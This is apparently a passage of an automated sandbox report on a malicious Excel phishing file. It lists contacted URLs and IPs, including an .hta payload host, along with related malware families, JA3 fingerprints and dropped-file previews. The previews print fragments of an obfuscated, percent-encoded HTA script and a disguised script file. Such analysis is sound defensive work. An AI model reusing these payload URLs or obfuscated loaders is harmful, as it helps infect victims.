http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	mshta.exe, 00000004.00000002.429796823.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424930147.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424450335.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.445283561.000000001C76D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.466152051.00000000038AE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476994248.00000000038B1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://res.cloudinary.com	powershell.exe, 0000000D.00000002.494191890.00000000023E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.527923498.0000000002222000.00000004.00000800.00020000.00000000.sdmp	false		high
https://jktc.pro/	mshta.exe, 00000004.00000002.429796823.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424930147.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424450335.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.466152051.00000000038DB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.468834962.000000000042F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476811997.000000000042F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476994248.00000000038DB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476811997.0000000000463000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.476653364.0000000000463000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.476653364.000000000042F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.468834962.0000000000463000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://analytics.paste.ee;	powershell.exe, 0000000D.00000002.494191890.00000000025B4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://192.210.150.24/55/crm/creamkissingthingswithcreambananapackagecreamy.htating=penitent&cop-out	mshta.exe, 0000000F.00000002.476811997.00000000003AE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.468834962.000000000041D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.476653364.000000000041D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476811997.000000000041D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://192.210.150.24/55/crm/creamkissingthingswithcreambananapackagecreamy.hta1	mshta.exe, 0000000F.00000003.468834962.000000000042F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476811997.000000000042F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.476653364.000000000042F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://secure.comodo.com/CPS0	mshta.exe, 00000004.00000002.429796823.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424930147.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424450335.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.445283561.000000001C725000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.445283561.000000001C76D000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.445283561.000000001C717000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.466152051.00000000038AE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476994248.00000000038B1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://192.210.150.24/55/crm/creamkissingthingswithcreambananapackagecreamy.hta$	mshta.exe, 0000000F.00000003.468834962.000000000042F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476811997.000000000042F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.476653364.000000000042F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://themes.googleusercontent.com	powershell.exe, 0000000D.00000002.494191890.00000000025B4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.entrust.net/2048ca.crl0	mshta.exe, 00000004.00000002.429796823.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424930147.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424450335.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.445283561.000000001C76D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.466152051.00000000038AE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476994248.00000000038B1000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
107.173.143.10	newglobalfucntioninside.duckdns.org	United States	36352	AS-COLOCROSSINGUS	false
188.114.97.6	paste.ee	European Union	13335	CLOUDFLARENETUS	false
151.101.129.137	cloudinary.map.fastly.net	United States	54113	FASTLYUS	false
192.210.150.24	unknown	United States	36352	AS-COLOCROSSINGUS	true
172.67.163.184	jktc.pro	United States	13335	CLOUDFLARENETUS	false
104.21.34.183	unknown	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1574074
Start date and time:	2024-12-12 21:55:01 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	30
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (VBA) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Cot90012ARCACONTAL.xls
Detection:	MAL
Classification:	mal100.phis.troj.expl.evad.winXLS@35/41@136/6
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 100% Number of executed functions: 10 Number of non-executed functions: 1
Cookbook Comments:	Found application associated with file extension: .xls Changed system and user locale, location and keyboard layout to French - France Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Active ActiveX Object Active ActiveX Object Active ActiveX Object Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 104.17.202.1, 104.17.201.1, 104.208.16.93
Excluded domains from analysis (whitelisted): onedsblobprdcus07.centralus.cloudapp.azure.com, watson.microsoft.com, resc.cloudinary.com.cdn.cloudflare.net, legacywatson.trafficmanager.net
Execution Graph export aborted for target mshta.exe, PID 2504 because there are no executed function
Execution Graph export aborted for target mshta.exe, PID 3568 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Cot90012ARCACONTAL.xls

Simulations

Behavior and APIs

Time	Type	Description
15:56:19	API Interceptor	133x Sleep call for process: mshta.exe modified
15:56:25	API Interceptor	200x Sleep call for process: powershell.exe modified
15:56:34	API Interceptor	12x Sleep call for process: wscript.exe modified
15:56:41	API Interceptor	77x Sleep call for process: DWWIN.EXE modified
15:56:59	API Interceptor	1148716x Sleep call for process: CasPol.exe modified

LLM Input / Output

Input	Output
URL: Screenshot id: 9 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 4 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "PURCHASE ORDER", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 2 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "PURCHASE ORDER", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 3 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "PURCHASE ORDER", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 1 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "PURCHASE ORDER", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 8 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Description of Product 1", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 9 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 1 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 8 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 3 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 2 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 7 Model: Joe Sandbox AI	```json { "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 7 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 4 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.97.6	RFQ_P.O.1212024.scr	Get hash	malicious	FormBook	Browse	www.questmatch.pro/1yxc/
	8WgZHDQckx.exe	Get hash	malicious	Pony	Browse	www.dynamotouren.com/?dynamotouren.de
	fUHl7rElXU.xlsx	Get hash	malicious	Unknown	Browse	paste.ee/d/OARvm
	ibk0BQaWAo.exe	Get hash	malicious	Unknown	Browse	orbitdownloader.com/
	ibk0BQaWAo.exe	Get hash	malicious	Unknown	Browse	orbitdownloader.com/
	INVOICE087667899.exe	Get hash	malicious	Unknown	Browse	heygirlisheeverythingyouwantedinaman.comheygirlisheeverythingyouwantedinaman.com:443
	ZciowjM9hN.exe	Get hash	malicious	Lokibot	Browse	vmopahtqdf84hfvsqepalcbcch63gdyvah.ml/BN2/fre.php
151.101.129.137	Plugin81139.js	Get hash	malicious	PureLog Stealer, RevengeRAT, zgRAT	Browse
	PO-8776-2024.js	Get hash	malicious	Remcos	Browse
	bestimylover.hta	Get hash	malicious	Cobalt Strike, FormBook, HTMLPhisher	Browse
	nicpeoplesideasgivenforme.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher	Browse
	https://0azeevmdi7.codedesign.app/	Get hash	malicious	Unknown	Browse
	http://christians-google-sh-97m2.glide.page/dl/d0a5f4	Get hash	malicious	Unknown	Browse
	Steelcase Series 1 Sustainable Office Chair _ Steelcase.html	Get hash	malicious	Unknown	Browse
	https://jenifer-lopezz.pages.dev/	Get hash	malicious	Unknown	Browse
	https://bookme.name/simonmed/us	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse
	https://asset.cloudinary.com/dclug8dsh/490e37baf41d2124fee1d1d5aeaf2423	Get hash	malicious	HTMLPhisher	Browse
172.67.163.184	4lXTg8P7Ih.elf	Get hash	malicious	Mirai	Browse	/tmUnblock.cgi

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cloudinary.map.fastly.net	Euro confirmation Sp.xls	Get hash	malicious	Unknown	Browse	151.101.1.137
	stage2.ps1	Get hash	malicious	PureLog Stealer, RevengeRAT, zgRAT	Browse	151.101.193.137
	nicegirlforyou.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	151.101.1.137
	invoice09850.xls	Get hash	malicious	Remcos	Browse	151.101.65.137
	Invoice A037.xls	Get hash	malicious	Unknown	Browse	151.101.1.137
	Plugin81139.js	Get hash	malicious	PureLog Stealer, RevengeRAT, zgRAT	Browse	151.101.129.137
	PO-8776-2024.js	Get hash	malicious	Remcos	Browse	151.101.129.137
	New Order Enquiry.js	Get hash	malicious	AgentTesla	Browse	151.101.193.137
	NESTLE_MEXICO_Purchase_Order_10122024.xls	Get hash	malicious	Unknown	Browse	151.101.65.137
	Orden_de_Compra_Nmero_6782929219.xls	Get hash	malicious	HTMLPhisher	Browse	151.101.65.137
jktc.pro	SOA USD67,353.35.xla.xlsx	Get hash	malicious	Unknown	Browse	172.67.163.184
	Euro confirmation Sp.xls	Get hash	malicious	Unknown	Browse	104.21.34.183
	510005940.docx.doc	Get hash	malicious	Unknown	Browse	104.21.34.183
	510005940.docx.doc	Get hash	malicious	Unknown	Browse	172.67.163.184
paste.ee	SOA USD67,353.35.xla.xlsx	Get hash	malicious	Unknown	Browse	188.114.97.6
	Euro confirmation Sp.xls	Get hash	malicious	Unknown	Browse	188.114.96.6
	print preview.js	Get hash	malicious	FormBook	Browse	172.67.187.200
	nicegirlforyou.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	104.21.84.67
	nicewithgreatfeaturesreturnformebestthingsgivensoofar.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	104.21.84.67
	invoice09850.xls	Get hash	malicious	Remcos	Browse	188.114.97.6
	Invoice A037.xls	Get hash	malicious	Unknown	Browse	188.114.97.6
	PO-8776-2024.js	Get hash	malicious	Remcos	Browse	104.21.84.67
	NESTLE_MEXICO_Purchase_Order_10122024.xls	Get hash	malicious	Unknown	Browse	188.114.97.6
	matchingwithbestthingstobegreatforentirelifegivenmebestthignsevergive.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	104.21.84.67

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	RFQ3978 39793980.pdf.exe	Get hash	malicious	FormBook	Browse	104.21.95.160
	SOA USD67,353.35.xla.xlsx	Get hash	malicious	Unknown	Browse	104.21.34.183
	Ziraat Bankasi Swift Mesaji.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	Euro confirmation Sp.xls	Get hash	malicious	Unknown	Browse	104.21.34.183
	WO-663071 Sabiya Power Station Project.vbs	Get hash	malicious	Remcos	Browse	162.159.129.233
	ltT8eZaqtZ.exe	Get hash	malicious	LummaC Stealer, PureLog Stealer	Browse	172.67.216.167
	htZgRRla8S.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.206.64
	0TGy7VIqx7CSab5o.lNK.lnk	Get hash	malicious	Unknown	Browse	172.67.185.252
	https://es-proposal.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	104.21.112.1
	http://ebaumsworld.com	Get hash	malicious	Unknown	Browse	104.17.159.113
FASTLYUS	Euro confirmation Sp.xls	Get hash	malicious	Unknown	Browse	151.101.65.137
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	https://es-proposal.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc, Vidar	Browse	151.101.193.91
	https://morgans-proposal-site.webflow.io/	Get hash	malicious	Captcha Phish, HTMLPhisher	Browse	151.101.66.137
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
AS-COLOCROSSINGUS	SOA USD67,353.35.xla.xlsx	Get hash	malicious	Unknown	Browse	107.172.44.175
	Euro confirmation Sp.xls	Get hash	malicious	Unknown	Browse	23.95.235.29
	SwiftCopy_PaymtRecpt121224.exe	Get hash	malicious	Remcos	Browse	192.210.150.17
	Document.xla	Get hash	malicious	Unknown	Browse	107.172.44.175
	Document.xla	Get hash	malicious	Unknown	Browse	107.172.44.175
	Document.xla	Get hash	malicious	Unknown	Browse	107.172.44.175
	Document.xla	Get hash	malicious	Unknown	Browse	107.172.44.175
	nicegirlforyou.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	172.245.142.60
	nicewithgreatfeaturesreturnformebestthingsgivensoofar.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	192.3.101.149
	invoice09850.xls	Get hash	malicious	Remcos	Browse	192.3.101.149
AS-COLOCROSSINGUS	SOA USD67,353.35.xla.xlsx	Get hash	malicious	Unknown	Browse	107.172.44.175
	Euro confirmation Sp.xls	Get hash	malicious	Unknown	Browse	23.95.235.29
	SwiftCopy_PaymtRecpt121224.exe	Get hash	malicious	Remcos	Browse	192.210.150.17
	Document.xla	Get hash	malicious	Unknown	Browse	107.172.44.175
	Document.xla	Get hash	malicious	Unknown	Browse	107.172.44.175
	Document.xla	Get hash	malicious	Unknown	Browse	107.172.44.175
	Document.xla	Get hash	malicious	Unknown	Browse	107.172.44.175
	nicegirlforyou.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	172.245.142.60
	nicewithgreatfeaturesreturnformebestthingsgivensoofar.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	192.3.101.149
	invoice09850.xls	Get hash	malicious	Remcos	Browse	192.3.101.149

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
05af1f5ca1b87cc9cc9b25185115607d	Euro confirmation Sp.xls	Get hash	malicious	Unknown	Browse	151.101.129.137
	510005940.docx.doc	Get hash	malicious	Unknown	Browse	151.101.129.137
	invoice09850.xls	Get hash	malicious	Remcos	Browse	151.101.129.137
	Invoice A037.xls	Get hash	malicious	Unknown	Browse	151.101.129.137
	Request for quote.doc	Get hash	malicious	Snake Keylogger	Browse	151.101.129.137
	NESTLE_MEXICO_Purchase_Order_10122024.xls	Get hash	malicious	Unknown	Browse	151.101.129.137
	FATR98765678000.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	151.101.129.137
	Orden_de_Compra_Nmero_6782929219.xls	Get hash	malicious	HTMLPhisher	Browse	151.101.129.137
	Payment Confirmation..docm	Get hash	malicious	Snake Keylogger	Browse	151.101.129.137
	Potvrda_o_uplati.docx.doc	Get hash	malicious	Unknown	Browse	151.101.129.137
7dcce5b76c8b17472d024758970a406b	Estado.de.cuenta.xls	Get hash	malicious	AveMaria, UACMe	Browse	104.21.34.183 172.67.163.184
	SOA USD67,353.35.xla.xlsx	Get hash	malicious	Unknown	Browse	104.21.34.183 172.67.163.184
	Euro confirmation Sp.xls	Get hash	malicious	Unknown	Browse	104.21.34.183 172.67.163.184
	510005940.docx.doc	Get hash	malicious	Unknown	Browse	104.21.34.183 172.67.163.184
	Document.xla	Get hash	malicious	Unknown	Browse	104.21.34.183 172.67.163.184
	xeroxscan.Docx	Get hash	malicious	Unknown	Browse	104.21.34.183 172.67.163.184
	xeroxscan.Docx	Get hash	malicious	Unknown	Browse	104.21.34.183 172.67.163.184
	invoice09850.xls	Get hash	malicious	Remcos	Browse	104.21.34.183 172.67.163.184
	Document.xla.xlsx	Get hash	malicious	Unknown	Browse	104.21.34.183 172.67.163.184
	Invoice A037.xls	Get hash	malicious	Unknown	Browse	104.21.34.183 172.67.163.184
36f7277af969a6947a61ae0b815907a1	invoice09850.xls	Get hash	malicious	Remcos	Browse	188.114.97.6
	Xkl0PnD8zFPjfh1.wiz.rtf	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.6
	2024-HRDCL-0000796.xls	Get hash	malicious	Unknown	Browse	188.114.97.6
	2024-HRDCL-0000796.xls	Get hash	malicious	Unknown	Browse	188.114.97.6
	DHL Shipment DOCs_002.xls	Get hash	malicious	Unknown	Browse	188.114.97.6
	Po docs.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	188.114.97.6
	DHL Shipment DOCs_002.xls	Get hash	malicious	Unknown	Browse	188.114.97.6
	Bank Swift Copy 2.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.6
	Document.xla.xlsx	Get hash	malicious	Unknown	Browse	188.114.97.6
	Document.xla.xlsx	Get hash	malicious	Unknown	Browse	188.114.97.6

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	15189
Entropy (8bit):	5.0343247648743
Encrypted:	false
SSDEEP:	384:nWraVoGIpN6KQkj2Lkjh4iUxTnaVjvCnS/OdBmRWDf:nW+V3IpNBQkj2Oh4iUxDaVjvCnS/OdBD
MD5:	7BC3FB6565E144A52C5F44408D5D80DF
SHA1:	C3C443BF9F29EAA84B0A580FD5469F4C5CC57F77
SHA-256:	EF6A75C051D70322EDCD5A89E6398CC00E3D860E87A0C7981310D30837CBA495
SHA-512:	D0A936BAF2277884518EDF4729F88DA74C7BAA5BBB58C1060CE66DE92A23694EA993CA69D8820816C5D28182E9A38EE59DE821EE3A73F0D85DBBC74D406285A5
Malicious:	false
Preview:	PSMODULECACHE.....8.......S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script..........V.7...?...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ISE\ISE.psd1........Import-IseSnippet........Get-IseSnippet........New-IseSnippet.........._.7...[...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\PSWorkflowUtility\

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\creamkissingthingswithcreambananapackagecreamy[1].hta

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	HTML document, ASCII text, with very long lines (65450), with CRLF line terminators
Category:	modified
Size (bytes):	82678
Entropy (8bit):	2.4638385282510207
Encrypted:	false
SSDEEP:	768:tmbUZA+cT/RVeU2Dx6AyZ6LAuAHA/OxlbVxP7iZ5VQSG/wa3s+RP7i2dfwwwAkKD:tk
MD5:	049640AA09B45F8F374EC9FFF6E272E5
SHA1:	CA0990EA3DB24491C5A5CE408B921383B0D74DB8
SHA-256:	277BCE05FE87B2C2EDD725DC6BC75C98A9F3D3FC68159A65471625009FE0E9E7
SHA-512:	044CC9E601D6809AE166A99C91656B54FC602D088EDBA57013F2575EBE2E2DD0200E29335494977479A5ED04D81313D5B4816A7EC419E14DF95F773133C9A7CC
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Obshtml, Description: Yara detected obfuscated html page, Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\creamkissingthingswithcreambananapackagecreamy[1].hta, Author: Joe Security
Preview:	<Script Language='Javascript'>.. HTML Encryption provided by tufat.com -->.. ..document.write(unescape('%3C%53%63%72%69%70%74%20%4C%61%6E%67%75%61%67%65%3D%27%4A%61%76%61%73%63%72%69%70%74%27%3E%0A%3C%21%2D%2D%20%48%54%4D%4C%20%45%6E%63%72%79%70%74%69%6F%6E%20%70%72%6F%76%69%64%65%64%20%62%79%20%74%75%66%61%74%2E%63%6F%6D%20%2D%2D%3E%0A%3C%21%2D%2D%0A%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%27%25%33%43%25%32%31%25%34%34%25%34%46%25%34%33%25%35%34%25%35%39%25%35%30%25%34%35%25%32%30%25%36%38%25%37%34%25%36%44%25%36%43%25%33%45%25%30%41%25%33%43%25%36%44%25%36%35%25%37%34%25%36%31%25%32%30%25%36%38%25%37%34%25%37%34%25%37%30%25%32%44%25%36%35%25%37%31%25%37%35%25%36%39%25%37%36%25%33%44%25%32%32%25%35%38%25%32%44%25%35%35%25%34%31%25%32%44%25%34%33%25%36%46%25%36%44%25%37%30%25%36%31%25%37%34%25%36%39%25%36%32%25%36%43%25%36%35%25%32%32%25%32%30%25%36%33%25%36%46%25%36%45%25%37%34%25%36%35%25%36%45%25%37%34%25%33%44%25%32%32%25%34%39%25%34%35%25%33%

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\creamykissinglipsgoodforcreamythingswithcreamicream[1].tiff

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (3221), with CRLF line terminators
Category:	dropped
Size (bytes):	153904
Entropy (8bit):	3.7916333313217825
Encrypted:	false
SSDEEP:	3072:gyGYXHM6cErfuTpT7BgyGYXHM6cErfuTpT1gyGYXHM6cErfuTpT7:7GErSN7B7GErSN17GErSN7
MD5:	716D2EDD830102BBBAD2CB0A1A0259F1
SHA1:	720D2DB1E6C8162F89376D06F149237AD8269297
SHA-256:	5A110B1E0B3424A297618863FFA88A2DE1F09C266687F93DA8E3D7C6DAB48341
SHA-512:	EDC3624E8071E058981BF47598B654321846A4538D4F64826457108431584021CA901C16278AB74775EF64A377387427A03CD4592B711F624C463BCDB53986CA
Malicious:	false
Preview:	...... . . . .....W.O.i.K.t.G.C.e.K.u.h.I.k.i.A. .=. .".d.R.q.n.d.r.W.o.a.W.i.W.K.z.O.".....P.x.k.m.h.A.s.B.t.K.W.K.I.L.h. .=. .".L.k.h.e.I.Q.U.W.W.A.e.Q.z.U.K.".....c.A.O.k.K.j.x.m.L.K.m.k.G.c.T. .=. .".e.Z.G.K.U.m.G.q.U.C.i.G.K.a.i.".........i.K.G.b.j.f.S.p.Z.L.W.J.j.p.m. .=. .".G.c.a.W.K.u.b.g.g.n.G.L.C.P.p.".....O.s.f.L.i.i.W.I.L.u.K.c.n.k.S. .=. .".U.A.c.p.i.d.i.k.K.J.W.h.h.W.m.".....e.f.K.q.p.i.L.f.h.K.L.A.h.c.P. .=. .".m.z.W.U.h.W.Z.z.o.t.p.B.O.W.K.".....e.I.f.e.q.o.L.B.N.Z.K.N.b.d.G. .=. .".J.P.W.a.G.q.C.A.G.N.H.h.p.Z.k.".....k.A.x.g.n.b.i.L.n.z.G.R.c.v.S. .=. .".o.B.W.C.Z.N.u.G.h.p.z.c.f.H.c.".....G.k.U.z.b.L.B.f.Q.z.N.p.f.L.L. .=. .".b.O.i.N.p.L.U.A.h.u.K.f.G.b.c.".....W.p.e.e.i.j.J.i.N.L.C.a.k.a.G. .=. .".W.q.L.p.U.P.a.i.W.K.j.W.d.N.i.".....U.a.K.r.K.W.i.p.O.Z.x.o.o.B.s. .=. .".z.W.A.c.L.U.r.m.z.I.L.e.m.O.U.".....G.k.P.N.G.f.z.z.a.i.t.O.i.L.n. .=. .".q.r.L.A.k.W.U.b.L.g.b.a.i.L.G.".....A.B.j.T.f.j.C.P.W.l.h.u.s.a.U. .=. .".W.L.P.b.U.h.K.K.i.N.S.L.A.U.H.".....m.G.e.K.f.d.t.d.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1EE8867E.emf

Download File

